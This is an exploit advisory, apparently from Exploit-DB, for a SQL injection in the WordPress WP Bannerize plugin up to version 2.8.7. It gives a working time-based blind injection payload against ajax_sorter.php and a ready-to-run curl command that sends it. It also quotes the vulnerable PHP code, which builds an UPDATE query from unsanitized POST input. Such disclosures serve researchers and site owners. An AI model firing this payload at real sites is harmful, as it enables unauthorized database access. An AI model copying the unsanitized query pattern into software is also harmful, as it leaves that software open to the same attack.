WordPress Plugin Bannerize 2.8.7 - SQL Injection

EDB-ID:

17906

CVE:





Platform:

PHP

Date:

2011-09-30


# Exploit Title: WordPress WP Bannerize plugin <= 2.8.7 SQL Injection Vulnerability
# Date: 2011-09-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-bannerize.zip
# Version: 2.8.7 (tested)

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PoC (POST data)
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http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php
 limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

e.g.
curl --data "limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)" -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php

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Vulnerable code
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if ( @isset($_SERVER['HTTP_X_REQUESTED_WITH']) ) {
    ...
    $limit = intval($_POST['limit']);
    $page_offset = (intval($_POST['offset']) - 1) * $limit;

    foreach($_POST["item"] as $key => $value){
        $sql = sprintf("UPDATE `%s` SET `sorter` = %s WHERE id = %s", $wpdb->prefix ."bannerize_b", (intval($key)+$page_offset ), $value );
        $result = mysql_query($sql);
    }
}